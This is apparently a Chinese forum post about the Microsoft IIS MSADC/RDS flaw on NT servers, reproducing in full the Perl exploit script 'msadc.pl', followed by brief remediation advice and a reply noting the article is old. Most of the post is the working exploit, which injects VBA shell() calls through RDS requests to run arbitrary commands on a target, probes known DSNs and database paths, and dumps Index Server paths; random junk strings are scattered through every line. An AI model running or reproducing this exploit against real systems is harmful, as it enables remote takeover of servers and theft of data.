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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) E*7B5  
r`i<XGPJ%  
涉及程序: ]}8<h5h)  
Microsoft NT server ._-^ 58[  
2<yi8O\  
描述: _C&2-tnp  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 -fz |  
.jZmQtc  
详细: >; nE.]  
如果你没有时间读详细内容的话,就删除: De4UGX  
c:\Program Files\Common Files\System\Msadc\msadcs.dll IQoz8!guh:  
有关的安全问题就没有了。 mmAikT#k  
j.sxyW?3  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 $/5Jc[Ow  
y VUA7IY  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 `z-4OJ8~  
关于利用ODBC远程漏洞的描述,请参看: cG,B;kMjo  
1s=M3m&H  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm K/+5$SjF  
lOPCM1Se  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @ I LG3"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp y;yXOE_  
^T)HRT-k  
这里不再论述。 7tfMD(Q]e/  
ly}6zOC\  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 0MF[e3)a  
.Hl]xI$;+  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -B9C2  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! mgL~ $  
R?(0:f  
F5gL-\6  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ?7@B$OlU  
j=r`[B m  
#!perl o  <0f  
# ,<zGvksk  
# MSADC/RDS 'usage' (aka exploit) script )~T)$TS  
# _jR%o1Y}  
# by rain.forest.puppy dfiA- h  
# h$ DFp  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me OlK3xdg7  
# beta test and find errors! ~+A?!f;-J  
2Auhv!xV  
use Socket; use Getopt::Std; @T._   
getopts("e:vd:h:XR", \%args); I(#Y\>DG  
Z2(z,pK  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; pB&3JmgR$)  
7!#x-KR~5  
if (!defined $args{h} && !defined $args{R}) { 0_}OKn)J  
print qq~ (\, <RC\  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ?5Wjy  
-h <host> = host you want to scan (ip or domain) yaMNt}y-q  
-d <seconds> = delay between calls, default 1 second 6,G1:BV{K  
-X = dump Index Server path table, if available wxkCmrV  
-v = verbose  nk>  
-e = external dictionary file for step 5 3DV';  
.|JJyjRA+  
Or a -R will resume a command session v98=#k!F  
 Mhm3u  
~; exit;} fB:9:NX  
hq6fDRO/4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 1Zx|SBF  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} HlqCL1\<  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} \-0@9E<D  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); `L`qR,R  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Ah;2\0|t  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^G[xQcM73  
-X'HZ\)  
if (!defined $args{R}){ $ret = &has_msadc; UZi^ &  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} gYA|JFi  
&8_]omuNV  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" *&q\)\(3w  
. "cmd /c "; X]U,`oE)9  
$in=<STDIN>; chomp $in; Qg"hN  
$command="cmd /c " . $in ; ;gY W!rM  
=MEv{9_  
if (defined $args{R}) {&load; exit;} 5DK>4H:  
K~H)XJFF  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; K:Wxx "  
&try_btcustmr; (wEaa'XL  
L@HPU;<  
print "\nStep 2: Trying to make our own DSN..."; l_hM,]T0  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Y;8Ys&/t  
_7'9omq@  
print "\nStep 3: Trying known DSNs..."; 8*!<,k="9  
&known_dsn; "XT7;!  
]|it&4l  
print "\nStep 4: Trying known .mdbs..."; uM h[Ht^.  
&known_mdb; V%8?f,  
J0*hJ-/u  
if (defined $args{e}){ iZ<^p1i  
print "\nStep 5: Trying dictionary of DSN names..."; K 4QJDC8  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } HYyO/U9z|I  
p~6/+ap  
print "Sorry Charley...maybe next time?\n"; 8W#/=Xh?  
exit; ?:vp3f#  
y  >r7(qg  
############################################################################## n$ $^(-g@)  
ns[v.YDL  
sub sendraw { # ripped and modded from whisker {a\O7$A\F  
sleep($delay); # it's a DoS on the server! At least on mine... L6./b;  
my ($pstr)=@_; |iKk'Rta4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =.(yOUI  
die("Socket problems\n"); >A5R  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5XySF #  
select(S); $|=1; `E+)e?z  
print $pstr; my @in=<S>; Ig}G"GR  
select(STDOUT); close(S); )uC],CbW{  
return @in; #qrZ(,I@n  
} else { die("Can't connect...\n"); }} ."&,_F  
id<i|  
############################################################################## lPx4=O  
/ts=DxCC;  
sub make_header { # make the HTTP request rl4B(NZi}  
my $msadc=<<EOT 7zXFQ|TP  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 bO 2>ced  
User-Agent: ACTIVEDATA GmP)"@O](;  
Host: $ip 0{^vqh.La  
Content-Length: $clen 1 rKKph  
Connection: Keep-Alive &E0L7?l  
6E/>]3~!  
ADCClientVersion:01.06 }IO<Dq=[  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Se<]g$eK?5  
jWJq[l  
--!ADM!ROX!YOUR!WORLD! 5LdVcXf  
Content-Type: application/x-varg :,g nOfV=  
Content-Length: $reqlen "X0"=1R~  
Oo |*q+{  
EOT 'kb5pl~U  
; $msadc=~s/\n/\r\n/g; Gdmh#pv  
return $msadc;} T6m#sVq  
,@kD9n5#  
############################################################################## 1^XuH('  
Yv k Qh{  
sub make_req { # make the RDS request d~F`q7F'?]  
my ($switch, $p1, $p2)=@_; !l|v O(  
my $req=""; my $t1, $t2, $query, $dsn; 2_M+akqy^  
4 AZ~<e\  
if ($switch==1){ # this is the btcustmr.mdb query T Po%zZo  
$query="Select * from Customers where City=" . make_shell(); :xJ]# t..  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . qX{"R.d  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} }/&Q\Sc  
(XA=d 4  
elsif ($switch==2){ # this is general make table query M4 SJnE  
$query="create table AZZ (B int, C varchar(10))"; Cw42bO  
$dsn="$p1";} <6QG7 i  
uMVM-(g%  
elsif ($switch==3){ # this is general exploit table query s3qWTdM  
$query="select * from AZZ where C=" . make_shell(); nfpkWyIu{  
$dsn="$p1";} JYuI~<:  
Ri4t/H  
elsif ($switch==4){ # attempt to hork file info from index server 2w\$}'  
$query="select path from scope()"; Wt5x*p-!C  
$dsn="Provider=MSIDXS;";} 0 zm)MSg  
|$"2R3  
elsif ($switch==5){ # bad query !$Aijd s5  
$query="select"; ]T|9>o!  
$dsn="$p1";} Ot}fGiio  
)OQhtxK  
$t1= make_unicode($query); WeDeD\zy  
$t2= make_unicode($dsn); h07Z.q ;  
$req = "\x02\x00\x03\x00"; +13h *  
$req.= "\x08\x00" . pack ("S1", length($t1)); bj23S&  
$req.= "\x00\x00" . $t1 ; 2{;&c  
$req.= "\x08\x00" . pack ("S1", length($t2)); [M>Md-pj  
$req.= "\x00\x00" . $t2 ; :*bv(~FW  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 88}+.-3t$  
return $req;}  7'u<)V  
rMXIw  
############################################################################## 'f&o%5]  
$$ %4,\{l  
sub make_shell { # this makes the shell() statement y_O[r1MF  
return "'|shell(\"$command\")|'";} 5tPBTS<<"L  
$jT&]p  
############################################################################## 2WQKj9iyN  
:$k':0 n  
sub make_unicode { # quick little function to convert to unicode .N2yn`  
my ($in)=@_; my $out; HR)Dz~Obw  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5\93-e  
return $out;} VD}8ei  
jv $Y]nf  
############################################################################## RtVy^~=G  
r /v'h@  
sub rdo_success { # checks for RDO return success (this is kludge) <;O=h; ~|  
my (@in) = @_; my $base=content_start(@in); ]=\Mf<  
if($in[$base]=~/multipart\/mixed/){ P^m+SAAB  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} z'@j9vT  
return 0;} n8<o*f&&9>  
dFY]~_P472  
############################################################################## n\d`Fk  
i`[5%6\"&  
sub make_dsn { # this makes a DSN for us [MSLVTR  
my @drives=("c","d","e","f"); 9$,x^Qx  
print "\nMaking DSN: "; bwh7.lDAl  
foreach $drive (@drives) { pR_cI]{=SA  
print "$drive: "; FTM(y CN  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . KrO oxrDcp  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" dw %aoe  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); &8'.Gw m}  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; %Q]u_0P*  
return 0 if $2 eq "404"; # not found/doesn't exist <p@c %e,_  
if($2 eq "200") { XL[/)lX{  
foreach $line (@results) { (<sZ8n=AD  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} l;i,V;@ t  
} return 0;} hUirvDvX  
q6A!xQs<  
############################################################################## 9pPb]v,6  
>55c{|"@L  
sub verify_exists { 2p\CCzw  
my ($page)=@_; ~wnTl[:  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6OYXcPW'  
return $results[0];} #Mo`l/Cwp  
:}d`$2Dz  
############################################################################## J ytY6HF  
<S~_|Y*v  
sub try_btcustmr { IOA"O9;  
my @drives=("c","d","e","f"); \PS{/XK  
my @dirs=("winnt","winnt35","winnt351","win","windows"); M99#\0=/  
^l1tQnj)7  
foreach $dir (@dirs) { =H*}{'#  
print "$dir -> "; # fun status so you can see progress shW$V93<  
foreach $drive (@drives) { t~pA2?9@  
print "$drive: "; # ditto {MmHR  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; O v3W;jD  
$reqlenlen=length( "$reqlen" ); 9k\`3SE  
$clen= 206 + $reqlenlen + $reqlen; -q7A\8C  
O+;0|4V%  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); WelB+P2  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} =PHl|^  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} X! 5N2x  
$ tf;\R  
############################################################################## W- wy<<~f  
g*b 4N _  
sub odbc_error { [vki^M5i|Z  
my (@in)=@_; my $base; ?]%JQ]Gf*  
my $base = content_start(@in); F-}-/N]o q  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this :LRR\v0HM  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /UeLf $%ZW  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `x:znp}'  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qh Ezv~  
return $in[$base+4].$in[$base+5].$in[$base+6];} j0J}d _  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ~82[pY  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ||v=in   
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 2mL1BG=Yk  
}qfr&Ffh@  
############################################################################## 8Ml&lfn_8  
A.7:.5Cx'  
sub verbose { Dd|}LV  
my ($in)=@_; T!$7:% D  
return if !$verbose; zb9^ii$g  
print STDOUT "\n$in\n";} ".L+gn}u-  
b ABx' E  
############################################################################## R`=3lY;  
.4={K)kz|F  
sub save { 5zJkPki  
my ($p1, $p2, $p3, $p4)=@_; VlW#_.  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Hv%(9)-8  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ln.kEhQ3B  
close OUT;} 8D]:>[|E  
r`u}n  
############################################################################## rUfW0  
sh.xp8^)^>  
sub load { :1u>T3L.z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; m1_?xU  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); &_FNDJ>MCk  
@p=<IN>; close(IN); `;fh<kv  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); PK1j$ &F  
$target= inet_aton($ip) || die("inet_aton problems"); ^B@4 w\t  
print "Resuming to $ip ...";  k*|dX.C:  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 2rHw5Wn]~  
if($p[1]==1) { EQPZV K/  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;  iU^ 4a  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Okk[}G)  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); |)6(_7e9  
if (rdo_success(@results)){print "Success!\n";} Pg[zRRf<  
else { print "failed\n"; verbose(odbc_error(@results));}} q! W ~>c!  
elsif ($p[1]==3){ 1!8*mk_R{  
if(run_query("$p[3]")){ q3Umqvl)oe  
print "Success!\n";} else { print "failed\n"; }} G],+?E_,  
elsif ($p[1]==4){ ~WuElns  
if(run_query($drvst . "$p[3]")){ "@B! 5s0  
print "Success!\n"; } else { print "failed\n"; }} Wm:3_C +j  
exit;} Pb?H cg  
_5a]pc$\Y]  
############################################################################## YVVX7hB  
Ff>Y<7CQ v  
sub create_table { pH#&B_S6z=  
my ($in)=@_; b qB[ vPsI  
$reqlen=length( make_req(2,$in,"") ) - 28; BEvSX|M>x  
$reqlenlen=length( "$reqlen" ); n? "ti  
$clen= 206 + $reqlenlen + $reqlen; )ufHk  
my @results=sendraw(make_header() . make_req(2,$in,"")); %Hv$PsSJ  
return 1 if rdo_success(@results); yb/< 7  
my $temp= odbc_error(@results); verbose($temp); W9 y8dw.  
return 1 if $temp=~/Table 'AZZ' already exists/; Qpd-uC_Ni  
return 0;} YN] w_=  
}7hpx!s,  
############################################################################## ]SrKe-*:U  
[e)81yZG>  
sub known_dsn { oSNB\G<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 80$P35Q"  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ]Oc :x  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", yP0P-8  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); iM2 EEC  
Y=X"YH|  
foreach $dSn (@dsns) { MSeO#X  
print "."; 9BI5qHEp  
next if (!is_access("DSN=$dSn")); 4 E3@O  
if(create_table("DSN=$dSn")){ 0vG}c5;F  
print "$dSn successful\n"; {+c/$4 <  
if(run_query("DSN=$dSn")){ Te'^O,C)y$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { hx4!P(o1  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ==x3|^0y  
=khjD[muC  
############################################################################## 3FUZTX]Q1  
\$;\,p p  
sub is_access { P@9>4}r$  
my ($in)=@_; 7g ]]>  
$reqlen=length( make_req(5,$in,"") ) - 28; 7~\Dzcfk"P  
$reqlenlen=length( "$reqlen" ); NOyLZa'  
$clen= 206 + $reqlenlen + $reqlen; QXJD' c  
my @results=sendraw(make_header() . make_req(5,$in,"")); $Fz/&;KX!  
my $temp= odbc_error(@results); ([|5(Omd\  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); VK`_ Qc#B  
return 0;} W3UK[_qK  
CW\o>yh  
############################################################################## /p\Ymq  
=@pm-rI|-  
sub run_query { 2DQ'h}BI  
my ($in)=@_; u-UUF  
$reqlen=length( make_req(3,$in,"") ) - 28; i?=3RdP/R1  
$reqlenlen=length( "$reqlen" ); {DN c7G  
$clen= 206 + $reqlenlen + $reqlen; rShi"Yw  
my @results=sendraw(make_header() . make_req(3,$in,"")); *(?YgV  
return 1 if rdo_success(@results); O#O~A |  
my $temp= odbc_error(@results); verbose($temp); #a#~YSnG  
return 0;} "EEE09~l\  
b]RCe^E1  
############################################################################## 344,mnAd  
h83ho  
sub known_mdb { 0O-p(L=  
my @drives=("c","d","e","f","g"); R5]R pW=G  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %h|z)  
my $dir, $drive, $mdb; #PXl*~PrQ/  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; EVO5+  
s^C*uP;R  
# this is sparse, because I don't know of many `m2F.^qrr  
my @sysmdbs=( "\\catroot\\icatalog.mdb", D{N1.rSxv  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  pMt]wyKr  
"\\system32\\certmdb.mdb", a]X6)6  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% eBU\&z[  
.6O>P2m]a_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", pvmm" f  
"\\cfusion\\cfapps\\forums\\forums_.mdb", yWzvE:!)  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 83R"!w18  
"\\cfusion\\cfapps\\security\\realm_.mdb", GsDSJz  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", QQ2xNNF[  
"\\cfusion\\database\\cfexamples.mdb", o\|dm. "f  
"\\cfusion\\database\\cfsnippets.mdb", Dj!J 4uD  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", DP; B*s4{U  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", \!cqeg*53  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ,6t0w|@-k  
"\\cfusion\\database\\smpolicy.mdb", aF'Ik XG d  
"\\cfusion\\database\cypress.mdb", g?=B{V  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", }d.R=A9L  
"\\website\\cgi-win\\dbsample.mdb", $,i:#KT`  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Gw+z8^|C&}  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"  EVq<gGy  
); #these are just S}Mxm 2  
foreach $drive (@drives) { !@VmaAT  
foreach $dir (@dirs){  )_j.0a  
foreach $mdb (@sysmdbs) { |:!0`p{R  
print "."; K?I@'B'  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ "#4PU5.  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; -D!F|&$  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ P:*'x9`  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ZlO@PlZ)  
} else { print "Something's borked. Use verbose next time\n"; }}}}} uaU!V4-  
7ZZSAI  
foreach $drive (@drives) { 2A`EFk7_X  
foreach $mdb (@mdbs) { 1M 3U)U  
print "."; SF.,sCk  
if(create_table($drv . $drive . $dir . $mdb)){ a S<JsB  
print "\n" . $drive . $dir . $mdb . " successful\n"; 6 Dg[ b  
if(run_query($drv . $drive . $dir . $mdb)){  h@W}xT  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1GEE^Eu  
} else { print "Something's borked. Use verbose next time\n"; }}}} ;7m>40W  
} =z=Guvcn`  
kOtC(\]5  
############################################################################## tOspDPSXX  
$u3N ',&  
sub hork_idx { 4uNcp0  
print "\nAttempting to dump Index Server tables...\n"; k ,<L#?,a  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 0.@/I}R[  
$reqlen=length( make_req(4,"","") ) - 28; #h r!7Kc;N  
$reqlenlen=length( "$reqlen" ); U Ciq'^,  
$clen= 206 + $reqlenlen + $reqlen; -CL7^  
my @results=sendraw2(make_header() . make_req(4,"","")); '|FM|0~-J  
if (rdo_success(@results)){ c7iu[vE'+  
my $max=@results; my $c; my %d; J=\Y4- "  
for($c=19; $c<$max; $c++){ r ,b  
$results[$c]=~s/\x00//g; ;OdUH   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 'kh%^_FH7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 8|d[45*q  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 4yBe(&N-d  
$d{"$1$2"}="";} #e9B|Y?b  
foreach $c (keys %d){ print "$c\n"; }  bM-Y4[  
} else {print "Index server doesn't seem to be installed.\n"; }} ( j-(fS  
>Mvt;'c  
############################################################################## ^2mXXAQf7^  
gcv,]v 8  
sub dsn_dict { N}dJ)<(2~  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); pg>P]a{  
while(<IN>){ -9aht}Z  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; RisrU  
next if (!is_access("DSN=$dSn")); *K+*0_  
if(create_table("DSN=$dSn")){ G %#us3x  
print "$dSn successful\n"; F5MWxAS,>  
if(run_query("DSN=$dSn")){ s#d# *pgzh  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5X`.2q=d  
print "Something's borked. Use verbose next time\n";}}} x(t} H8q  
print "\n"; close(IN);} '6xn!dK  
VS}Vl  
############################################################################## gH_r'j  
+-.BF"}  
sub sendraw2 { # ripped and modded from whisker ,$}Q#q  
sleep($delay); # it's a DoS on the server! At least on mine... _aD x('  
my ($pstr)=@_; |Pj _L`G  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || . }=;]=  
die("Socket problems\n"); xE)pj|  
if(connect(S,pack "SnA4x8",2,80,$target)){ /4T%&#6s  
print "Connected. Getting data"; [j![R  
open(OUT,">raw.out"); my @in; 94a _ W9  
select(S); $|=1; print $pstr; 3aDma/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} |2oB3 \)/  
close(OUT); select(STDOUT); close(S); return @in; 3[e@mcO  
} else { die("Can't connect...\n"); }} ]7VK&YfN  
u5,IH2BU  
############################################################################## =Wjm_Rvk9  
>yWJk9h f  
sub content_start { # this will take in the server headers 9Q.j <  
my (@in)=@_; my $c; zc2,Mn2  
for ($c=1;$c<500;$c++) { yqBu7E$X  
if($in[$c] =~/^\x0d\x0a/){ Iy,)>V%iZV  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } K GI]W|T  
else { return $c+1; }}} b#y}VY)?  
return -1;} # it should never get here actually QWxQD'L'  
N\Hd3Om  
############################################################################## 8bK}& *z<  
[]Fy[G.)H  
sub funky { kh5V&%>?  
my (@in)=@_; my $error=odbc_error(@in); d")r^7  
if($error=~/ADO could not find the specified provider/){ 8WyG49eic  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; S`l CynGH  
exit;} P,%|(qB  
if($error=~/A Handler is required/){ .9ROa#7U;n  
print "\nServer has custom handler filters (they most likely are patched)\n"; @e Myq1ZU  
exit;} *Zc-&Dk:Ir  
if($error=~/specified Handler has denied Access/){ h5Z\9`f[  
print "\nServer has custom handler filters (they most likely are patched)\n"; bZlAK)  
exit;}} !PQRlgcG  
un /eS-IIh  
############################################################################## brVT  
 LSfj7j`  
sub has_msadc { (*;u{m=  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); jG^~{7#  
my $base=content_start(@results); ze ua`jQ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); y7w>/7q  
return 0;} ^{Vm,nAQqs  
Z g'[.wov  
######################## 2 43DdIG$  
"*T)L<G  
[cH/Y2[  
解决方案: {otvJ |'N  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll '*-SvA\Cx  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ]6aM %r=c  
?y '.sQ  
拿出来充数 哈哈
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